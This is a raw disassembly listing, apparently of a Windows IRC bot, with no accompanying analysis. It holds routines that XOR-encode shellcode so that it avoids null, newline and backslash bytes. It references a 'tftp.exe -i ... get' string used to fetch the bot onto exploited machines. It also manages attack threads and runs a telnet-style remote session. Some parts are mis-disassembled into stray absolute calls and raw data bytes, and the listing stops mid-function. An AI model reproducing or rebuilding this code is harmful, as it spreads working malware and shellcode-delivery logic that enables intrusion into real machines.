push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, dword_424074
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_416912: ; CODE XREF: sub_4168E9+8Fj
call ebx
test eax, eax
jz short loc_41697A
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_41694D
loc_416923: ; CODE XREF: sub_4168E9+62j
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_41693D
cmp dl, 0Dh
jz short loc_41693D
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_41693D: ; CODE XREF: sub_4168E9+44j
; sub_4168E9+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_416923
loc_41694D: ; CODE XREF: sub_4168E9+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_43ADE8
test eax, eax
jle short loc_41697A
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_416912
; ---------------------------------------------------------------------------
loc_41697A: ; CODE XREF: sub_4168E9+2Dj
; sub_4168E9+79j
mov esi, dword_42408C
call esi
cmp eax, 6Dh
jz short loc_416996
call esi
push eax
push offset dword_433A90
call sub_40BFE1
pop ecx
pop ecx
loc_416996: ; CODE XREF: sub_4168E9+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_4168E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41699B proc near ; DATA XREF: sub_4165C6+71o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
loc_4169B4: ; CODE XREF: sub_41699B+39j
; sub_41699B+D7j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_43ADB0
test eax, eax
jle loc_416AB9
cmp [ebp+var_10], ebx
jbe short loc_4169D6
dec [ebp+var_10]
jmp short loc_4169B4
; ---------------------------------------------------------------------------
loc_4169D6: ; CODE XREF: sub_41699B+34j
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_416A99
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_416A46
cmp al, 7Fh
jz short loc_416A46
cmp al, 3
jnz short loc_416A01
push ebx
push ebx
nop
call near ptr 2800846h
jmp short loc_416A6D
; ---------------------------------------------------------------------------
loc_416A01: ; CODE XREF: sub_41699B+5Aj
cmp al, 15h
jnz short loc_416A23
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_416A59
; ---------------------------------------------------------------------------
loc_416A23: ; CODE XREF: sub_41699B+68j
mov [ebp+esi+var_DC], al
inc esi
push 1
cmp al, 0Dh
mov [ebp+var_8], al
pop ecx
jnz short loc_416A5A
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_416A59
; ---------------------------------------------------------------------------
loc_416A46: ; CODE XREF: sub_41699B+52j
; sub_41699B+56j
cmp esi, ebx
jbe short loc_416A70
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_416A59: ; CODE XREF: sub_41699B+86j
; sub_41699B+A9j
pop ecx
loc_416A5A: ; CODE XREF: sub_41699B+98j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_43ADE8
test eax, eax
jle short loc_416AB9
loc_416A6D: ; CODE XREF: sub_41699B+64j
mov al, byte ptr [ebp+arg_0+3]
loc_416A70: ; CODE XREF: sub_41699B+ADj
cmp al, 0Dh
jnz loc_4169B4
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
call near ptr 2650000h
nop
test eax, eax
jz short loc_416AB9
xor esi, esi
jmp loc_4169B4
; ---------------------------------------------------------------------------
loc_416A99: ; CODE XREF: sub_41699B+47j
cmp [ebp+var_C], ebx
jnz short loc_416AAA
mov [ebp+var_C], 1
jmp loc_4169B4
; ---------------------------------------------------------------------------
loc_416AAA: ; CODE XREF: sub_41699B+101j
mov [ebp+var_10], 0Ah
mov [ebp+var_C], ebx
jmp loc_4169B4
; ---------------------------------------------------------------------------
loc_416AB9: ; CODE XREF: sub_41699B+2Bj
; sub_41699B+D0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41699B endp
; =============== S U B R O U T I N E =======================================
sub_416ABE proc near ; CODE XREF: sub_416ADE+Ap
; sub_416BB6+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_417AB0
push [esp+8+arg_4]
mov esi, eax
call sub_417AB0
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_416ABE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416ADE proc near ; CODE XREF: sub_416BCD+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
call sub_416ABE
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_416AFB
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_416AFB: ; CODE XREF: sub_416ADE+17j
push ebx
push esi
push edi
push [ebp+arg_8]
call sub_417AB0
push [ebp+arg_C]
mov esi, eax
call sub_417AB0
mov edi, eax
mov ebx, [ebp+arg_0]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov dword_433B70, eax
lea eax, [edi+1]
mov dword_433B91, eax
lea eax, [edi+17h]
mov dword_433B89, eax
pop eax
push 74h
sub eax, edi
push offset dword_433B0C
push ebx
mov dword_433B9F, eax
call sub_417390
push esi
lea eax, [ebx+74h]
push [ebp+arg_8]
push eax
call sub_417390
add esi, 74h
push 5
push (offset aTftp_exeIGet+0Ch)
lea eax, [esi+ebx]
push eax
call sub_417390
add esi, 5
push edi
push [ebp+arg_C]
lea eax, [esi+ebx]
push eax
call sub_417390
add esi, edi
push 10h
push (offset aTftp_exeIGet+11h)
lea eax, [esi+ebx]
push eax
call sub_417390
add esp, 44h
add esi, 10h
push edi
lea eax, [esi+ebx]
push [ebp+arg_C]
push eax
call sub_417390
add esi, edi
push 38h
add esi, ebx
push offset byte_433B95
push esi
call sub_417390
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_416ADE endp
; =============== S U B R O U T I N E =======================================
sub_416BB6 proc near ; CODE XREF: sub_416BCD+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_416ABE
push eax
call sub_416C3A
add esp, 0Ch
retn
sub_416BB6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416BCD proc near ; CODE XREF: sub_402B84+32p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push edi
mov edi, [ebp+arg_C]
push edi
push ebx
call sub_416BB6
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_416BED
cmp eax, 0FFFFh
jbe short loc_416BF1
loc_416BED: ; CODE XREF: sub_416BCD+17j
xor eax, eax
jmp short loc_416C36
; ---------------------------------------------------------------------------
loc_416BF1: ; CODE XREF: sub_416BCD+1Ej
push esi
push edi
push ebx
call sub_416ABE
add eax, 101h
push eax
call sub_417B89
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_416ABE
pop ecx
pop ecx
push eax
push esi
call sub_416ADE
push eax
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416C55
push esi
mov edi, eax
call sub_417C3B
add esp, 24h
mov eax, edi
pop esi
loc_416C36: ; CODE XREF: sub_416BCD+22j
pop edi
pop ebx
pop ebp
retn
sub_416BCD endp
; =============== S U B R O U T I N E =======================================
sub_416C3A proc near ; CODE XREF: sub_416BB6+Ep
; sub_416C55+4Ap
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_416C43
inc ecx
loc_416C43: ; CODE XREF: sub_416C3A+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_416C3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416C55 proc near ; CODE XREF: sub_416BCD+56p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
cmp byte ptr [ebp+arg_C], 0Ah
jz short loc_416C71
cmp byte ptr [ebp+arg_C], 0Dh
jz short loc_416C71
cmp byte ptr [ebp+arg_C], 5Ch
jz short loc_416C71
cmp byte ptr [ebp+arg_C], 0
jnz short loc_416C74
loc_416C71: ; CODE XREF: sub_416C55+8j
; sub_416C55+Ej ...
inc [ebp+arg_C]
loc_416C74: ; CODE XREF: sub_416C55+1Aj
push esi
mov esi, 0FFh
cmp [ebp+arg_C], esi
jbe short loc_416C9C
mov eax, [ebp+arg_C]
shr eax, 8
cmp al, 0Ah
jz short loc_416C95
cmp al, 0Dh
jz short loc_416C95
cmp al, 5Ch
jz short loc_416C95
test al, al
jnz short loc_416C9C
loc_416C95: ; CODE XREF: sub_416C55+32j
; sub_416C55+36j ...
add [ebp+arg_C], 100h
loc_416C9C: ; CODE XREF: sub_416C55+28j
; sub_416C55+3Ej
push [ebp+arg_C]
call sub_416C3A
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_416CB4
cmp eax, 0FFFFh
jbe short loc_416CBB
loc_416CB4: ; CODE XREF: sub_416C55+56j
xor eax, eax
jmp loc_416D59
; ---------------------------------------------------------------------------
loc_416CBB: ; CODE XREF: sub_416C55+5Dj
mov ecx, [ebp+arg_C]
push ebx
mov bl, byte_4CD988
xor edx, edx
push edi
mov edi, [ebp+arg_8]
test ecx, ecx
jbe short loc_416CEB
loc_416CCF: ; CODE XREF: sub_416C55+94j
mov al, [edx+edi]
xor al, bl
jz short loc_416CE2
cmp al, 0Ah
jz short loc_416CE2
cmp al, 0Dh
jz short loc_416CE2
cmp al, 5Ch
jnz short loc_416CE6
loc_416CE2: ; CODE XREF: sub_416C55+7Fj
; sub_416C55+83j ...
inc bl
xor edx, edx
loc_416CE6: ; CODE XREF: sub_416C55+8Bj
inc edx
cmp edx, ecx
jb short loc_416CCF
loc_416CEB: ; CODE XREF: sub_416C55+78j
cmp ecx, esi
mov byte_4CD988, bl
ja short loc_416D17
push 15h
push offset loc_433AF4
push [ebp+arg_0]
mov byte_433B01, cl
mov byte_433B05, bl
call sub_417390
add esp, 0Ch
push 15h
jmp short loc_416D38
; ---------------------------------------------------------------------------
loc_416D17: ; CODE XREF: sub_416C55+9Ej
push 17h
push offset loc_433ADC
push [ebp+arg_0]
mov word_433AEA, cx
mov byte_433AEF, bl
call sub_417390
add esp, 0Ch
push 17h
loc_416D38: ; CODE XREF: sub_416C55+C0j
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_416D54
mov edx, [ebp+arg_0]
lea esi, [ecx+edx]
loc_416D46: ; CODE XREF: sub_416C55+FDj
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_416D46
loc_416D54: ; CODE XREF: sub_416C55+E9j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_416D59: ; CODE XREF: sub_416C55+61j
pop esi
leave
retn
sub_416C55 endp
; =============== S U B R O U T I N E =======================================
sub_416D5C proc near ; CODE XREF: sub_4060D0+227p
; sub_407252+F0p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_4405F0
loc_416D64: ; CODE XREF: sub_416D5C+18j
cmp byte ptr [eax], 0
jz short loc_416D78
add eax, 234h
inc edi
cmp eax, offset dword_4CD5F0
jl short loc_416D64
jmp short loc_416DC3
; ---------------------------------------------------------------------------
loc_416D78: ; CODE XREF: sub_416D5C+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_4405F0[esi]
push eax
call sub_418C10
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_4407F0[esi], eax
and dword_4407F4[esi], 0
mov eax, [esp+8+arg_8]
and dword_4407F8[esi], 0
mov dword_4407FC[esi], eax
and byte_440808[esi], 0
pop esi
loc_416DC3: ; CODE XREF: sub_416D5C+1Aj
mov eax, edi
pop edi
retn
sub_416D5C endp
; ---------------------------------------------------------------------------
byte_416DC7 db 55h ; DATA XREF: sub_40EE72+5C01o
dd 0EC81EC8Bh, 98h, 5608458Bh, 59266A57h, 0BD8DF08Bh, 0FFFFFF68h
dd 75FFA5F3h, 9480C7F0h, 1000000h, 8D000000h, 0FFFF6C85h
dd 0F475FFFFh, 68B5FF50h, 0E8FFFFFFh, 15h, 0E8EC75FFh
dd 26Ch, 6A14C483h, 9508E800h, 5F90021Fh, 0EC8B555Eh, 200EC81h
dd 57560000h, 75FF006Ah, 3BD06810h, 75FF0043h, 875FF0Ch
dd 0FF6840E8h, 14C483FFh, 0F0BEFF33h, 80004405h, 3C74003Eh
dd 147D83h, 0BE830975h, 204h, 562D7500h, 858D57h, 68FFFFFEh
dd 43254Ch, 446E850h, 16A0000h, 0FE00858Dh, 75FFFFFFh
dd 75FF5010h, 875FF0Ch, 0FF67F8E8h, 24C483FFh, 234C681h
dd 81470000h, 4CD5F0FEh, 5FB07C00h
; ---------------------------------------------------------------------------
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_416E97 proc near ; CODE XREF: sub_40EE72+4DD9p
; sub_416F25+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_416F1F
cmp esi, 400h
jge short loc_416F1F
imul esi, 234h
push edi
push ebx
push dword_440804[esi]
lea edi, dword_440804[esi]
call near ptr 27F091Fh
nop
cmp [edi], ebx
jz short loc_416ECF
push 1
pop ebp
loc_416ECF: ; CODE XREF: sub_416E97+33j
mov [edi], ebx
lea edi, dword_4407F8[esi]
mov dword_4407F0[esi], ebx
mov dword_4407F4[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_416EF0
push eax
call sub_415419
pop ecx
loc_416EF0: ; CODE XREF: sub_416E97+50j
mov [edi], ebx
lea edi, dword_4407FC[esi]
mov byte ptr dword_4405F0[esi], bl
mov byte_440808[esi], bl
push dword ptr [edi]
call dword_43AE30
lea esi, dword_440800[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_43AE30
mov [esi], ebx
pop edi
loc_416F1F: ; CODE XREF: sub_416E97+Dj
; sub_416E97+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_416E97 endp
; =============== S U B R O U T I N E =======================================
sub_416F25 proc near ; CODE XREF: sub_40AC42:loc_40AC66p
; sub_40D3A5+18p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_4405F0
loc_416F31: ; CODE XREF: sub_416F25+2Aj
cmp byte ptr [esi], 0
jz short loc_416F42
push edi
call sub_416E97
test eax, eax
pop ecx
jz short loc_416F42
inc ebx
loc_416F42: ; CODE XREF: sub_416F25+Fj
; sub_416F25+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4CD5F0
jl short loc_416F31
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_416F25 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F57 proc near ; CODE XREF: sub_40EE72+1E3Dp
; sub_40EE72+1EABp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_4407F4
loc_416F6B: ; CODE XREF: sub_416F57+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_416F8D
test edi, edi
jle short loc_416F7F
cmp [esi], edi
jz short loc_416F7F
cmp ebx, edi
jnz short loc_416F8D
loc_416F7F: ; CODE XREF: sub_416F57+1Ej
; sub_416F57+22j
push ebx
call sub_416E97
test eax, eax
pop ecx
jz short loc_416F8D
inc [ebp+var_4]
loc_416F8D: ; CODE XREF: sub_416F57+1Aj
; sub_416F57+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4CD7F4
jl short loc_416F6B
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_416F57 endp
; =============== S U B R O U T I N E =======================================
sub_416FA4 proc near ; CODE XREF: sub_4071DB+Bp
; sub_407252+2Dp ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_4407F0
loc_416FAB: ; CODE XREF: sub_416FA4+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_416FB4
inc eax
loc_416FB4: ; CODE XREF: sub_416FA4+Dj
add ecx, 234h
cmp ecx, offset dword_4CD7F0
jl short loc_416FAB
retn
sub_416FA4 endp
; =============== S U B R O U T I N E =======================================
sub_416FC3 proc near ; CODE XREF: sub_40EE72+5698p
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_4407F0
loc_416FCD: ; CODE XREF: sub_416FC3+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_416FE6
add ecx, 234h
inc edx
cmp ecx, offset dword_4CD7F0
jl short loc_416FCD
pop esi
retn
; ---------------------------------------------------------------------------
loc_416FE6: ; CODE XREF: sub_416FC3+10j
mov eax, edx
pop esi
retn
sub_416FC3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416FEA proc near ; CODE XREF: sub_40EE72+1070p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_417003
push [ebp+arg_1C]
call sub_41781F
pop ecx
loc_417003: ; CODE XREF: sub_416FEA+Ej
push eax
push [ebp+arg_18]
call sub_416F57
pop ecx
test eax, eax
pop ecx
jle short loc_41702F
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"...
push eax
call sub_4172B0
add esp, 14h
jmp short loc_417049
; ---------------------------------------------------------------------------
loc_41702F: ; CODE XREF: sub_416FEA+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s: No %s thread found."
push eax
call sub_4172B0
add esp, 10h
loc_417049: ; CODE XREF: sub_416FEA+43j
cmp [ebp+arg_C], 0
jnz short loc_417069
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_417069: ; CODE XREF: sub_416FEA+63j
lea eax, [ebp+var_200]
push eax
call sub_40BF6D
pop ecx
leave
retn
sub_416FEA endp
; =============== S U B R O U T I N E =======================================
sub_417078 proc near ; CODE XREF: sub_401000+A5p
; sub_40144A+8Dp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_440804[eax], ecx
mov dword_4407F0[eax], ecx
mov dword_4407F4[eax], ecx
mov dword_4407F8[eax], ecx
mov dword_4407FC[eax], ecx
mov dword_440800[eax], ecx
mov byte ptr dword_4405F0[eax], cl
mov byte_440808[eax], cl
retn
sub_417078 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4170B5 proc near ; CODE XREF: sub_40EE72+6189p
; sub_4171E3+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_4170BF: ; CODE XREF: sub_4170B5+68j
mov cl, [esi]
test cl, cl
jz short loc_41711F
cmp eax, 1
jnz short loc_41711F
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_41711F
cmp cl, 2Ah
jz short loc_417106
cmp cl, 3Fh
jz short loc_4170E9
cmp cl, 5Bh
jz short loc_4170EE
xor eax, eax
cmp cl, dl
setz al
loc_4170E9: ; CODE XREF: sub_4170B5+26j
inc [ebp+arg_4]
jmp short loc_417119
; ---------------------------------------------------------------------------
loc_4170EE: ; CODE XREF: sub_4170B5+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_41714B
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_417119
; ---------------------------------------------------------------------------
loc_417106: ; CODE XREF: sub_4170B5+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_4171E3
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_417119: ; CODE XREF: sub_4170B5+37j
; sub_4170B5+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_4170BF
; ---------------------------------------------------------------------------
loc_41711F: ; CODE XREF: sub_4170B5+Ej
; sub_4170B5+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_41712F
cmp eax, 1
jnz short loc_417146
inc esi
mov [ebp+arg_0], esi
jmp short loc_41711F
; ---------------------------------------------------------------------------
loc_41712F: ; CODE XREF: sub_4170B5+6Dj
cmp eax, 1
jnz short loc_417146
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_417146
cmp byte ptr [esi], 0
jnz short loc_417146
push 1
pop eax
jmp short loc_417148
; ---------------------------------------------------------------------------
loc_417146: ; CODE XREF: sub_4170B5+72j
; sub_4170B5+7Dj ...
xor eax, eax
loc_417148: ; CODE XREF: sub_4170B5+8Fj
pop esi
pop ebp
retn
sub_4170B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41714B proc near ; CODE XREF: sub_4170B5+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_41716C
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_41716C: ; CODE XREF: sub_41714B+19j
push ebx
push esi
loc_41716E: ; CODE XREF: sub_41714B+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_41717C
cmp [ebp+var_4], eax
jnz short loc_4171C8
loc_41717C: ; CODE XREF: sub_41714B+2Aj
test edi, edi
jnz short loc_4171BD
cmp bl, 2Dh
jnz short loc_4171B1
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_4171B1
cmp al, 5Dh
jz short loc_4171B1
cmp [ebp+var_4], edi
jnz short loc_4171B1
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_4171BD
cmp bl, al
jg short loc_4171BD
push 1
mov [edx], esi
pop edi
jmp short loc_4171BD
; ---------------------------------------------------------------------------
loc_4171B1: ; CODE XREF: sub_41714B+38j
; sub_41714B+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_4171BD
push 1
pop edi
loc_4171BD: ; CODE XREF: sub_41714B+33j
; sub_41714B+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_41716E
; ---------------------------------------------------------------------------
loc_4171C8: ; CODE XREF: sub_41714B+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_4171D5
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_4171D5: ; CODE XREF: sub_41714B+82j
cmp edi, eax
jnz short loc_4171DE
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_4171DE: ; CODE XREF: sub_41714B+8Cj
mov eax, edi
pop edi
leave
retn
sub_41714B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4171E3 proc near ; CODE XREF: sub_4170B5+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_4171FF: ; CODE XREF: sub_4171E3+3Aj
cmp [eax], bl
jz short loc_41721F
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_417214
cmp cl, 2Ah
jnz short loc_41721F
cmp cl, 3Fh
jnz short loc_417217
loc_417214: ; CODE XREF: sub_4171E3+25j
inc eax
mov [edi], eax
loc_417217: ; CODE XREF: sub_4171E3+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_4171FF
; ---------------------------------------------------------------------------
loc_41721F: ; CODE XREF: sub_4171E3+1Ej
; sub_4171E3+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_41722A
inc dword ptr [esi]
jmp short loc_41721F
; ---------------------------------------------------------------------------
loc_41722A: ; CODE XREF: sub_4171E3+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_41724B
mov edx, [esi]
cmp [edx], bl
jz short loc_41723C
xor eax, eax
jmp short loc_4172AB
; ---------------------------------------------------------------------------
loc_41723C: ; CODE XREF: sub_4171E3+53j
cmp cl, bl
jnz short loc_41724B
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_41724B
push 1
pop eax
jmp short loc_4172AB
; ---------------------------------------------------------------------------
loc_41724B: ; CODE XREF: sub_4171E3+4Dj
; sub_4171E3+5Bj ...
push eax
push dword ptr [esi]
call sub_4170B5
pop ecx
test eax, eax
pop ecx
jnz short loc_417295
loc_417259: ; CODE XREF: sub_4171E3+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_41725D: ; CODE XREF: sub_4171E3+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_417275
cmp cl, 5Bh
jz short loc_417275
cmp dl, bl
jz short loc_417275
inc eax
mov [edi], eax
jmp short loc_41725D
; ---------------------------------------------------------------------------
loc_417275: ; CODE XREF: sub_4171E3+82j
; sub_4171E3+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_41728C
push eax
push dword ptr [esi]
call sub_4170B5
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_417291
; ---------------------------------------------------------------------------
loc_41728C: ; CODE XREF: sub_4171E3+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_417291: ; CODE XREF: sub_4171E3+A7j
cmp eax, ebx
jnz short loc_417259
loc_417295: ; CODE XREF: sub_4171E3+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_4172A8
mov eax, [esi]
cmp [eax], bl
jnz short loc_4172A8
mov [ebp+var_4], 1
loc_4172A8: ; CODE XREF: sub_4171E3+B6j
; sub_4171E3+BCj
mov eax, [ebp+var_4]
loc_4172AB: ; CODE XREF: sub_4171E3+57j
; sub_4171E3+66j
pop edi
pop esi
pop ebx
leave
retn
sub_4171E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4172B0 proc near ; CODE XREF: sub_401000+64p
; sub_4010B5+308p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_419E38
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_4172F0
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_4172FD
; ---------------------------------------------------------------------------
loc_4172F0: ; CODE XREF: sub_4172B0+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_419D23
pop ecx
